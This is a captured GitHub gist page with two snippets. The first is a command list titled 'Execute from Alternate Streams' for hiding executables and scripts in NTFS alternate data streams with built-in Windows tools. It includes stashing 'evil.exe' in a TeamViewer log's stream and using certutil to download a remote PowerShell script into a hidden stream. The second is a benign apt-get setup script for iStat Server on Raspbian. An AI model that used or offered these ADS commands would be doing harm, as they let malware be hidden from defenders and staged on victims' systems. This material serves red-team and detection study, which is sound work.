Skip to content

Instantly share code, notes, and snippets.

View zakhildev's full-sized avatar
🏠
Working from home

Zakhil zakhildev

🏠
Working from home
View GitHub Profile
@zakhildev
zakhildev / Exe_ADS_Methods.txt
Created March 18, 2021 18:54 — forked from api0cradle/Exe_ADS_Methods.md
Execute from Alternate Streams
###Add content to ADS###
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
@zakhildev
zakhildev / install-istatserver.sh
Created October 25, 2020 10:01 — forked from aaronparker/install-istatserver.sh
Installing iStat Server for Linux on raspbian
# https://bjango.com/help/istat3/linuxpackages/
# Commands used to install iStat Server for Linux on a Raspbery Pi running Raspbian
# Update Raspbian
# sudo apt-get update
# sudo apt-get upgrade
# Install dependencies
sudo apt-get install automake
sudo apt-get install libxml2-dev